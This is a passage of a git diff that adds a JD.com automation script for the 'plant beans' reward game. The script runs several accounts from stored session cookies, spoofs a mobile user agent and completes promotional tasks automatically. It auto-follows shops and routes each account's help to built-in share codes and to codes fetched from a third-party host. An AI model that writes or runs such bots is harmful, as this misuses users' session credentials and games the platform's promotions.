s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_plantBean.js b/jd_plantBean.js new file mode 100644 index 0000000..e6a1812 --- /dev/null +++ b/jd_plantBean.js @@ -0,0 +1,761 @@ +/* +种豆得豆 脚本更新地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js +更新时间:2021-04-9 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 +=====================================Quantumult X================================= +[task_local] +1 7-21/2 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "1 7-21/2 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('京东种豆得豆'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message,subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode + //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'lsvcdmfjrraodhrrvhcfiz7iye@olmijoxgmjuty7323i6ijrv5tdhd32kefogty5i@gf2njfitdloxldekzam2flrji4@mq65ksgdrkobhiyvkoqfi7ff7i5ac3f4ijdgqji@wkmb7lejrmax2avk7bszvx7s74@4npkonnsy7xi3acvl3goi4ga5gpmpv2km4yj3di@rj7s6mzlk7uognpgua34bszhyf4cpqqtj5vfhta@olmijoxgmjutyif5p35uuja6gwp2ulsp2x6fjoi@dzfuhp3b2fz7mnj5ndxxqsradgg5bsrhuof2mbq', + //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'lsvcdmfjrraodhrrvhcfiz7iye@olmijoxgmjuty7323i6ijrv5tdhd32kefogty5i@gf2njfitdloxldekzam2flrji4@mq65ksgdrkobhiyvkoqfi7ff7i5ac3f4ijdgqji@wkmb7lejrmax2avk7bszvx7s74@4npkonnsy7xi3acvl3goi4ga5gpmpv2km4yj3di@rj7s6mzlk7uognpgua34bszhyf4cpqqtj5vfhta@olmijoxgmjutyif5p35uuja6gwp2ulsp2x6fjoi@dzfuhp3b2fz7mnj5ndxxqsradgg5bsrhuof2mbq', +] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +let num; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdPlantBean(); + await showMsg(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + if ($.plantBeanIndexResult.errorCode === 'PB101') { + console.log(`\n活动太火爆了,还是去买买买吧!\n`) + return + } + for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { + if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { + num = i + break + } + } + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[num].roundId;//本期的roundId + lastRoundId = roundList[num - 1].roundId;//上期的roundId + awardState = roundList[num - 1].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + message += `【上期时间】${roundList[num - 1].dateDesc.replace('上期 ', '')}\n`; + message += `【上期成长值】${roundList[num - 1].growth}\n`; + await receiveNutrients();//定时领取营养液 + await doHelp();//助力 + await doTask();//做日常任务 + // await doEgg(); + await stealFriendWater(); + await doCultureBean(); + await doGetReward(); + await showTaskProcess(); + await plantShareSupportList(); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} +async function doGetReward() { + console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); + if (awardState === '4') { + //京豆采摘中... + message += `【上期状态】${roundList[num - 1].tipBeanEndTitle}\n`; + } else if (awardState === '5') { + //收获 + await getReward(); + console.log('开始领取京豆'); + if ($.getReward && $.getReward.code === '0') { + console.log('京豆领取成功'); + message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; + $.msg($.name, subTitle, message); + allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); + // } + } else { + console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) + } + } else if (awardState === '6') { + //京豆已领取 + message += `【上期兑换京豆】${roundList[num - 1].awardBeans}个\n`; + } + if (roundList[num].dateDesc.indexOf('本期 ') > -1) { + roundList[num].dateDesc = roundList[num].dateDesc.substr(roundList[num].dateDesc.indexOf('本期 ') + 3, roundList[num].dateDesc.length); + } + message += `【本期时间】${roundList[num].dateDesc}\n`; + message += `【本期成长值】${roundList[num].growth}\n`; +} +async function doCultureBean() { + await plantBeanIndex(); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0') { + const plantBeanRound = $.plantBeanIndexResult.data.roundList[num] + if (plantBeanRound.roundState === '2') { + //收取营养液 + if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) + for (let bubbleInfo of plantBeanRound.bubbleInfos) { + console.log(`收取-${bubbleInfo.name}-的营养液`) + await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) + console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } +} +async function stealFriendWater() { + await stealFriendList(); + if ($.stealFriendList && $.stealFriendList.code === '0') { + if ($.stealFriendList.data && $.stealFriendList.data.tips) { + console.log('\n\n今日偷取好友营养液已达上限\n\n'); + return + } + if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + for (let item of $.stealFriendList.data.friendInfoList) { + if (new Date(nowTimes).getHours() === 20) { + if (item.nutrCount >= 2) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } else { + if (item.nutrCount >= 3) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } + } + } + } else { + console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) + } +} +async function doEgg() { + await egg(); + if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { + if ($.plantEggLotteryRes.data.restLotteryNum > 0) { + const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); + console.log(`目前共有${eggL.length}次扭蛋的机会`) + for (let i = 0; i < eggL.length; i++) { + console.log(`开始第${i + 1}次扭蛋`); + await plantEggDoLottery(); + console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); + } + } else { + console.log('暂无扭蛋机会') + } + } else { + console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) + } +} +async function doTask() { + if ($.taskList && $.taskList.length > 0) { + for (let item of $.taskList) { + if (item.isFinished === 1) { + console.log(`${item.taskName} 任务已完成\n`); + continue; + } else { + if (item.taskType === 8) { + console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`) + } else { + console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`) + } + } + if (item.dailyTimes === 1 && item.taskType !== 8) { + console.log(`\n开始做 ${item.taskName}任务`); + // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); + await receiveNutrientsTask(item.taskType); + console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); + } + if (item.taskType === 3) { + //浏览店铺 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedShopNum = item.totalNum - item.gainedNum; + if (unFinishedShopNum === 0) { + continue + } + await shopTaskList(); + const { data } = $.shopTaskListRes; + let goodShopListARR = [], moreShopListARR = [], shopList = []; + const { goodShopList, moreShopList } = data; + for (let i of goodShopList) { + if (i.taskState === '2') { + goodShopListARR.push(i); + } + } + for (let j of moreShopList) { + if (j.taskState === '2') { + moreShopListARR.push(j); + } + } + shopList = goodShopListARR.concat(moreShopListARR); + for (let shop of shopList) { + const { shopId, shopTaskId } = shop; + const body = { + "monitor_refer": "plant_shopNutrientsTask", + "shopId": shopId, + "shopTaskId": shopTaskId + } + const shopRes = await requestGet('shopNutrientsTask', body); + console.log(`shopRes结果:${JSON.stringify(shopRes)}`); + if (shopRes && shopRes.code === '0') { + if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { + unFinishedShopNum --; + } + } + if (unFinishedShopNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 5) { + //挑选商品 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedProductNum = item.totalNum - item.gainedNum; + if (unFinishedProductNum === 0) { + continue + } + await productTaskList(); + // console.log('productTaskList', $.productTaskList); + const { data } = $.productTaskList; + let productListARR = [], productList = []; + const { productInfoList } = data; + for (let i = 0; i < productInfoList.length; i++) { + for (let j = 0; j < productInfoList[i].length; j++){ + productListARR.push(productInfoList[i][j]); + } + } + for (let i of productListARR) { + if (i.taskState === '2') { + productList.push(i); + } + } + for (let product of productList) { + const { skuId, productTaskId } = product; + const body = { + "monitor_refer": "plant_productNutrientsTask", + "productTaskId": productTaskId, + "skuId": skuId + } + const productRes = await requestGet('productNutrientsTask', body); + if (productRes && productRes.code === '0') { + // console.log('nutrState', productRes) + //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 + if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { + unFinishedProductNum --; + } + } + if (unFinishedProductNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 10) { + //关注频道 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedChannelNum = item.totalNum - item.gainedNum; + if (unFinishedChannelNum === 0) { + continue + } + await plantChannelTaskList(); + const { data } = $.plantChannelTaskList; + // console.log('goodShopList', data.goodShopList); + // console.log('moreShopList', data.moreShopList); + let goodChannelListARR = [], normalChannelListARR = [], channelList = []; + const { goodChannelList, normalChannelList } = data; + for (let i of goodChannelList) { + if (i.taskState === '2') { + goodChannelListARR.push(i); + } + } + for (let j of normalChannelList) { + if (j.taskState === '2') { + normalChannelListARR.push(j); + } + } + channelList = goodChannelListARR.concat(normalChannelListARR); + for (let channelItem of channelList) { + const { channelId, channelTaskId } = channelItem; + const body = { + "channelId": channelId, + "channelTaskId": channelTaskId + } + const channelRes = await requestGet('plantChannelNutrientsTask', body); + console.log(`channelRes结果:${JSON.stringify(channelRes)}`); + if (channelRes && channelRes.code === '0') { + if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { + unFinishedChannelNum --; + } + } + if (unFinishedChannelNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + } + } +} +function showTaskProcess() { + return new Promise(async resolve => { + await plantBeanIndex(); + $.taskList = $.plantBeanIndexResult.data.taskList; + if ($.taskList && $.taskList.length > 0) { + console.log(" 任务 进度"); + for (let item of $.taskList) { + console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); + } + } + resolve() + }) +} +//助力好友 +async function doHelp() { + for (let plantUuid of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${plantUuid}`); + if (!plantUuid) continue; + if (plantUuid === $.myPlantUuid) { + console.log(`\n跳过自己的plantUuid\n`) + continue + } + await helpShare(plantUuid); + if ($.helpResult && $.helpResult.code === '0') { + // console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); + if ($.helpResult.data.helpShareRes) { + if ($.helpResult.data.helpShareRes.state === '1') { + console.log(`助力好友${plantUuid}成功`) + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); + } else if ($.helpResult.data.helpShareRes.state === '2') { + console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); + break; + } else if ($.helpResult.data.helpShareRes.state === '3') { + console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') + } else if ($.helpResult.data.helpShareRes.state === '4') { + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); + } + } + } else { + console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); + } + } +} +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', {"roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients"}) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, {"monitor_refer": "plant_productTaskList"}); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, {"monitor_refer": "plant_receiveNutrients"}); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', {"roundId": ""}); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `http://transfer.nz.lu/bean`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(15000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = $.isNode() ? require('./jdPlantBeanShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(2000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}){ + return new Promise(async resolve => { + await $.wait(2000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.0"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return 